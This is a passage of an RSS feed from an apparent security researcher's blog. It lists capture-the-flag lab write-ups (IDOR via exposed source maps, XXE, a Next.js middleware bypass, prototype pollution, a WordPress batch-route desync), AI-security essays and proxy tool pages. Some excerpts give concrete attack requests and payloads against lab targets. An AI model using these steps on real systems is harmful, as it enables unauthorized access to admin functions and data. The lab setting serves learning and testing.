id=&#34;summary&#34;&gt;Summary&lt;/h2&gt;&#xA;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Path&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Technique&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Admin Required&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Requests&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;1&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Mass assignment on &lt;code&gt;/api/register&lt;/code&gt; + &lt;code&gt;/api/admin/flag&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Yes (self-assigned)&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;2&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;2&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;PUT /api/stats&lt;/code&gt; with any auth token&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;No&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;1&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;&lt;strong&gt;Root causes:&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - Stats IDOR</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-stats-idor/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-stats-idor/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Hint said &amp;ldquo;WebSockets are fun&amp;rdquo; but the actual vuln was a stats IDOR &amp;ndash; the hint was wrong for this instance&lt;/li&gt;&#xA;&lt;li&gt;Socket.io was bundled in the client JS as dead code (no component uses it, no server endpoint exists)&lt;/li&gt;&#xA;&lt;li&gt;Flag was in &lt;code&gt;GET /api/stats/1&lt;/code&gt; &amp;ndash; one request after reading source maps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-1--open-the-lab&#34;&gt;Step 1 &amp;ndash; Open the Lab&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Navigate to the BugForge lab URL (Tanuki &amp;ndash; SRS Flash Cards app)&lt;/li&gt;&#xA;&lt;li&gt;Note the base URL, e.g. &lt;code&gt;https://lab-XXXX.labs-app.bugforge.io&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-2--source-maps&#34;&gt;Step 2 &amp;ndash; Source Maps&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open browser DevTools -&amp;gt; Sources, or fetch the JS bundle directly&lt;/li&gt;&#xA;&lt;li&gt;The app ships with source maps exposed at &lt;code&gt;/static/js/main.XXXXX.js.map&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Grab the main page to find the JS bundle filename&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/ | grep -oP &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;src=&amp;#34;/static/js/[^&amp;#34;]+&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Output: src=&amp;#34;/static/js/main.3b4ae99e.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6272a4&#34;&gt;# Fetch the source map&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/static/js/main.3b4ae99e.js.map -o sourcemap.json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;The source map contains the original React component source code&lt;/li&gt;&#xA;&lt;li&gt;The key file is &lt;code&gt;UserStats.js&lt;/code&gt; which contains this line:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff79c6&#34;&gt;const&lt;/span&gt; response &lt;span style=&#34;color:#ff79c6&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff79c6&#34;&gt;await&lt;/span&gt; axios.get(&lt;span style=&#34;color:#f1fa8c&#34;&gt;`/api/stats/&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;${&lt;/span&gt;user.id&lt;span style=&#34;color:#f1fa8c&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#f1fa8c&#34;&gt;`&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;This tells us the stats endpoint takes a user ID in the URL path &amp;ndash; classic IDOR pattern&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;step-3--register-a-user&#34;&gt;Step 3 &amp;ndash; Register a User&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -sk https://TARGET/api/register -H &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#34;Content-Type: application/json&amp;#34;&lt;/span&gt; -d &lt;span style=&#34;color:#f1fa8c&#34;&gt;&amp;#39;{&amp;#34;username&amp;#34;:&amp;#34;testuser1&amp;#34;,&amp;#34;email&amp;#34;:&amp;#34;test1@test.com&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;Password123&amp;#34;,&amp;#34;full_name&amp;#34;:&amp;#34;Test User&amp;#34;}&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Response:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tanuki - XXE</title>
				<link>https://johnmatrix.org/bugforge/bf-tanuki-xxe/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-tanuki-xxe/</guid>
				<description>&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Usual, register and play around&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We can see there is an option of upload&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;When downloading the &lt;code&gt;Sample Desk&lt;/code&gt;, I researched and found and that it is very much a must to test for &lt;code&gt;XML&lt;/code&gt; upload, which then in turn made me think of XXE&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vaultly - Middleware Bypass</title>
				<link>https://johnmatrix.org/bugforge/bf-vaultly-middleware-bypass/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-vaultly-middleware-bypass/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Vaultly - a multi-tenant secure document vault for teams (Next.js 14.2.24 App Router)&lt;/li&gt;&#xA;&lt;li&gt;CVE-2025-29927: the &lt;code&gt;x-middleware-subrequest&lt;/code&gt; header makes Next.js skip middleware entirely, defeating the auth gate on the &lt;code&gt;/admin&lt;/code&gt; HQ console and leaking the master recovery key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vaultly - Prototype Pollution</title>
				<link>https://johnmatrix.org/bugforge/bf-vaultly-prototype-pollution/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-vaultly-prototype-pollution/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;Vaultly - a multi-tenant secure document vault for teams (Next.js 14 + Express backend)&lt;/li&gt;&#xA;&lt;li&gt;Two-stage PP chain: bypass scope allowlist, then pollute publicProjection to expose all tenants&amp;rsquo; files anonymously&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;enumeration&#34;&gt;Enumeration&lt;/h2&gt;&#xA;&lt;p&gt;Set the target:&lt;/p&gt;</description>
			</item>
			<item>
				<title>WordMess - wp2shell Batch Route Confusion</title>
				<link>https://johnmatrix.org/bugforge/bf-wordmess-wp2shell/</link>
				<pubDate>Tue, 28 Jul 2026 15:23:43 +0100</pubDate>
				<guid>https://johnmatrix.org/bugforge/bf-wordmess-wp2shell/</guid>
				<description>&lt;ul&gt;&#xA;&lt;li&gt;A WordPress clone behind a proof-of-work anti-bot, with a plugin install endpoint locked behind admin&lt;/li&gt;&#xA;&lt;li&gt;The chain of two WordPress core CVEs disclosed in July 2026&lt;/li&gt;&#xA;&lt;li&gt;Two layers, both pre-auth. The flag comes back in the body of a 201 from an endpoint that returns 401 to a direct request&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;tldr&#34;&gt;TL;DR&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[1] GET /forgeflare/challenge   -&amp;gt; JSON with {n, difficulty:16, token, to}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    solve: find nonce where sha256(n + &amp;#39;:&amp;#39; + nonce) has &amp;gt;= 16 leading zero bits&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    POST /forgeflare/verify      -&amp;gt; Set-Cookie: forgeflare_clearance (60s TTL)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[2] POST /wp-json/batch/v1 with 3 sub-requests:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [0] {&amp;#34;method&amp;#34;:&amp;#34;POST&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;///&amp;#34;}                          &amp;lt;- primer (malformed, shifts handlers +1)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [1] {&amp;#34;method&amp;#34;:&amp;#34;POST&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;/wp/v2/plugins&amp;#34;,&amp;#34;body&amp;#34;:{&amp;#34;slug&amp;#34;:&amp;#34;test&amp;#34;,&amp;#34;hook&amp;#34;:&amp;#34;init&amp;#34;}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      [2] {&amp;#34;method&amp;#34;:&amp;#34;GET&amp;#34;,&amp;#34;path&amp;#34;:&amp;#34;/wp/v2/posts&amp;#34;}                   &amp;lt;- filler&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Response [1] = 201 {&amp;#34;plugin&amp;#34;:&amp;#34;test&amp;#34;,&amp;#34;installed&amp;#34;:true,&amp;#34;flag&amp;#34;:&amp;#34;bug{...}&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    Direct POST /wp/v2/plugins = 401 (admin required). The batch desync bypassed it.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;the-setting&#34;&gt;The Setting&lt;/h2&gt;&#xA;&lt;p&gt;WordMess is a Node/Express clone of WordPress running behind &amp;ldquo;Forgeflare&amp;rdquo;, a Cloudflare-style anti-bot layer. The REST API is the attack surface:&lt;/p&gt;</description>
			</item>
			<item>
				<title>20 Concepts That Explain Modern AI</title>
				<link>https://johnmatrix.org/ai-research/20-concepts-that-explain-modern-ai/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/20-concepts-that-explain-modern-ai/</guid>
				<description>&lt;p&gt;Most people who use AI every day cannot explain what is happening when they hit enter&amp;hellip;A lot of senior engineers in Anthropic/OpenAI likely neither! That is fine for using it and a liability for building on it or securing it. These are the twenty concepts that, once they click, turn the whole field from magic into machinery. No maths required, purely the mental models.&lt;/p&gt;</description>
			</item>
			<item>
				<title>About</title>
				<link>https://johnmatrix.org/about/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/about/</guid>
				<description>&lt;p class=&#34;shell-line&#34;&gt;&lt;span class=&#34;shell-prompt&#34;&gt;root@johnmatrix:~$&lt;/span&gt; whoami&lt;/p&gt;&#xA;&lt;p&gt;Purple teamer. I work both sides of the wire &amp;ndash; breaking things offensively&#xA;and building the detection and response to catch it. Passionate about AI&#xA;security, offensive tooling, and building what doesn&amp;rsquo;t exist yet.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Agent Containment Failures in Offensive Tool-Use</title>
				<link>https://johnmatrix.org/ai-research/agent-containment-failures-in-offensive-tool-use/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/agent-containment-failures-in-offensive-tool-use/</guid>
				<description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;&#xA;&lt;p&gt;When you build an autonomous agent with real offensive capabilities - not a demo, not a CTF solver, but a system designed to find vulnerabilities in production environments - containment isn&amp;rsquo;t optional. It&amp;rsquo;s the primary engineering challenge.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Building an Autonomous Pentest Agent: What I Learned the Hard Way</title>
				<link>https://johnmatrix.org/ai-research/building-an-autonomous-pentest-agent/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/building-an-autonomous-pentest-agent/</guid>
				<description>&lt;p&gt;I spent six months building an autonomous penetration testing agent. Not wrapping Nmap in a ChatGPT prompt. Not asking Claude to &amp;ldquo;hack this website.&amp;rdquo; A real system - 32 detectors, 1,500+ automated tests, engagement database, proof-of-exploit validation, chain analysis. The kind of thing that finds a SQL injection in a path parameter, escalates to UNION-based extraction, dumps the users table, and records machine-verifiable evidence. In under two minutes.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Context Engineering: The Skill Nobody Named in 2024</title>
				<link>https://johnmatrix.org/ai-research/context-engineering/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/context-engineering/</guid>
				<description>&lt;p&gt;Prompt engineering is being quietly demoted. The people building real agentic systems realised the prompt is the small part. The big part is everything &lt;em&gt;around&lt;/em&gt; the model: the briefing docs, the skills, the connectors, the retrieval, the memory, and the way the agent finds exactly what it needs at each step without drowning in what it does not. Prompts still matter. They just aren&amp;rsquo;t the thing that decides whether your agent holds up over a long task.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Credential Sprawl in AI-Assisted Development</title>
				<link>https://johnmatrix.org/ai-research/credential-sprawl-in-ai-assisted-development/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/credential-sprawl-in-ai-assisted-development/</guid>
				<description>&lt;h2 id=&#34;the-problem&#34;&gt;The Problem&lt;/h2&gt;&#xA;&lt;p&gt;I scanned 200 real AI coding sessions and found a median of 8 live secrets each &amp;ndash; AWS keys, SSH private keys, production database URLs &amp;ndash; sitting in plaintext JSONL files that never rotate, never encrypt, and sync to the cloud by default. A single developer&amp;rsquo;s session history over six months averaged 347 unique secrets across all log files.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Graphing the Agent: Orchestration Graphs and the New Control Plane</title>
				<link>https://johnmatrix.org/ai-research/agent-orchestration-graphs/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/agent-orchestration-graphs/</guid>
				<description>&lt;p&gt;&lt;em&gt;How agent systems went from chains to graphs, and why the graph is where containment now lives.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;Every agent you have ever built has a shape, whether or not you drew it. A single prompt is a point. A ReAct loop &amp;ndash; think, act, observe, repeat &amp;ndash; is a circle. A pipeline of planner → researcher → writer is a line. And the moment you add &amp;ldquo;if the tests fail, go back to the coder; if they pass, go to the reviewer; if the reviewer rejects, go back again with the review attached,&amp;rdquo; you have drawn a directed graph with a cycle in it. Most builders never draw that graph on purpose. In 2026, drawing it on purpose is the difference between an agent system you control and one you merely observe. The graph &amp;ndash; nodes as units of work, edges as decisions, state as the thing that flows through both &amp;ndash; has become the control plane of serious agent engineering, and for anyone who thinks about security for a living, it is also where containment now lives or dies.&lt;/p&gt;</description>
			</item>
			<item>
				<title>How LLMs Are Actually Built: The Architecture Is the Part That Matters Least</title>
				<link>https://johnmatrix.org/ai-research/how-llms-are-actually-built/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/how-llms-are-actually-built/</guid>
				<description>&lt;p&gt;If architecture were the moat, everyone would already have a frontier model. The transformer is published, standardised, and freely available &amp;ndash; every major lab uses roughly the same building blocks. Ask most people how you build a model like Claude or GPT and they say &amp;ldquo;transformers,&amp;rdquo; as if the neural network design is the secret. It isn&amp;rsquo;t.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Loop Engineering, 2026: The Bash Loop That Ate Software Development</title>
				<link>https://johnmatrix.org/ai-research/loop-engineering-2026/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/loop-engineering-2026/</guid>
				<description>&lt;p&gt;&lt;em&gt;From Ralph Wiggum to dark factories: what running agents unattended actually costs, how it fails, and the security bill nobody budgets for.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;In July 2025, Geoffrey Huntley published a blog post containing what might be the highest-leverage line of shell ever written:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Loop Engineering: Replacing Yourself as the Prompter (and the Security Tax Nobody Budgets For)</title>
				<link>https://johnmatrix.org/ai-research/loop-engineering/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/loop-engineering/</guid>
				<description>&lt;p&gt;For two years the workflow was: write a prompt, share context, read the output, write the next prompt. The agent was a tool you held the entire time. That phase is ending.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MCP Permission Models Are Broken</title>
				<link>https://johnmatrix.org/ai-research/mcp-permission-models-are-broken/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/mcp-permission-models-are-broken/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve built five open-source MCP servers in Go that give AI agents access to security infrastructure: web proxies (Caido, Burp Suite), EDR platforms (SentinelOne), bug bounty APIs (HackerOne), and SIEM search. Each server required designing a permission model from scratch because MCP doesn&amp;rsquo;t provide one. What I discovered: the protocol has a fundamental authorization gap that makes building safe agent tooling unnecessarily hard.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Offensive AI in Bug Bounty: The Real State of Play</title>
				<link>https://johnmatrix.org/ai-research/offensive-ai-in-bug-bounty/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/offensive-ai-in-bug-bounty/</guid>
				<description>&lt;p&gt;Two things are happening in bug bounty right now, and they point in opposite directions. AI-generated garbage is drowning triage teams and killing open-source programs. At the same time, skilled researchers are quietly using AI to find vulnerabilities that scanners and fuzzers never could. The gap between the two is widening fast.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Prompt Injection and the Agentic Attack Surface</title>
				<link>https://johnmatrix.org/ai-research/prompt-injection-and-the-agentic-attack-surface/</link>
				<pubDate>Fri, 24 Jul 2026 16:08:43 +0100</pubDate>
				<guid>https://johnmatrix.org/ai-research/prompt-injection-and-the-agentic-attack-surface/</guid>
				<description>&lt;p&gt;I test things that break. The interesting thing about LLM security is that the attack surface is fundamentally unlike anything in traditional pentesting, and most people coming from a classic security background get it wrong on the first contact.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Web Application Testing</title>
				<link>https://johnmatrix.org/brain-sharing/web-applications/</link>
				<pubDate>Fri, 17 Jul 2026 14:10:40 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/web-applications/</guid>
				<description>&lt;p&gt;Structured approach to web application penetration testing. Ordered by signal strength &amp;ndash; test what&amp;rsquo;s most likely to yield critical findings first, eliminate noise last.&lt;/p&gt;&#xA;&lt;h2 id=&#34;testing-order&#34;&gt;Testing Order&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;1.&lt;/span&gt; RECON         Endpoints, source maps, tech stack, signals&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;2.&lt;/span&gt; AUTH          Login, registration, session management, JWT, MFA&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;3.&lt;/span&gt; ACCESS        BAC, IDOR, privilege escalation, role matrix&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;4.&lt;/span&gt; INJECTION     SQLi, XSS, SSTI, command injection, XXE&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;5.&lt;/span&gt; LOGIC         Price manipulation, race conditions, state machines&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bd93f9&#34;&gt;6.&lt;/span&gt; INFRASTRUCTURE   SSRF, cache deception, API gateway bypass, CORS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Start at the top. Findings in one phase inform the next &amp;ndash; a weak JWT makes IDOR testing trivial, a user enumeration oracle makes brute force the priority.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Bagel</title>
				<link>https://johnmatrix.org/brain-sharing/bagel/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/bagel/</guid>
				<description>&lt;p&gt;Dev workstation security scanner from BoostSecurity. Checks Git config, SSH keys, npm settings, shell history, cloud credentials, IDE plugins, GitHub CLI, and AI tool configs for security gaps. Privacy-first &amp;ndash; only metadata leaves the machine.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Burp MCP Server</title>
				<link>https://johnmatrix.org/brain-sharing/burp-mcp-setup/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/burp-mcp-setup/</guid>
				<description>&lt;p&gt;MCP server and standalone CLI for Burp Suite Professional. Gives AI assistants structured access to Burp&amp;rsquo;s HTTP engine, proxy history, scanner, Repeater, and Intruder &amp;ndash; with body limits, batch operations, and race condition support.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Caido Go SDK</title>
				<link>https://johnmatrix.org/brain-sharing/caido-sdk-go/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/caido-sdk-go/</guid>
				<description>&lt;p&gt;Community Go SDK for the Caido web proxy. Type-safe GraphQL client with domain-specific packages for requests, intercept, replay, findings, scopes, and more. Powers the Caido MCP server.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&#34;https://github.com/caido-community/sdk-go&#34;&gt;caido-community/sdk-go&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;architecture&#34;&gt;Architecture&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#282a36;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your Go Code  --&amp;gt;  sdk-go  --&amp;gt;  GraphQL (genqlient)  --&amp;gt;  Caido Instance (port 8080)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Built on &lt;a href=&#34;https://github.com/Khan/genqlient&#34;&gt;Khan/genqlient&lt;/a&gt; for compile-time type safety. Every GraphQL query/mutation has a corresponding Go function with typed inputs and outputs.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Caido MCP Server</title>
				<link>https://johnmatrix.org/brain-sharing/caido-mcp-setup/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/caido-mcp-setup/</guid>
				<description>&lt;p&gt;MCP server and CLI for the &lt;a href=&#34;https://caido.io&#34;&gt;Caido&lt;/a&gt; web proxy. Browse, replay, and analyze HTTP traffic from AI assistants or your terminal. Built on the community &lt;a href=&#34;https://johnmatrix.org/brain-sharing/caido-sdk-go/&#34;&gt;Go SDK&lt;/a&gt; with 66 tools and 6 read-only resources, OAuth + static token auth, HTTPQL filtering, session cookie jars, batch operations, WebSocket inspection, race condition testing, and full Caido feature coverage.&lt;/p&gt;</description>
			</item>
			<item>
				<title>HackerOne MCP Server</title>
				<link>https://johnmatrix.org/brain-sharing/hackerone-mcp/</link>
				<pubDate>Fri, 17 Jul 2026 13:43:41 +0100</pubDate>
				<guid>https://johnmatrix.org/brain-sharing/hackerone-mcp/</guid>
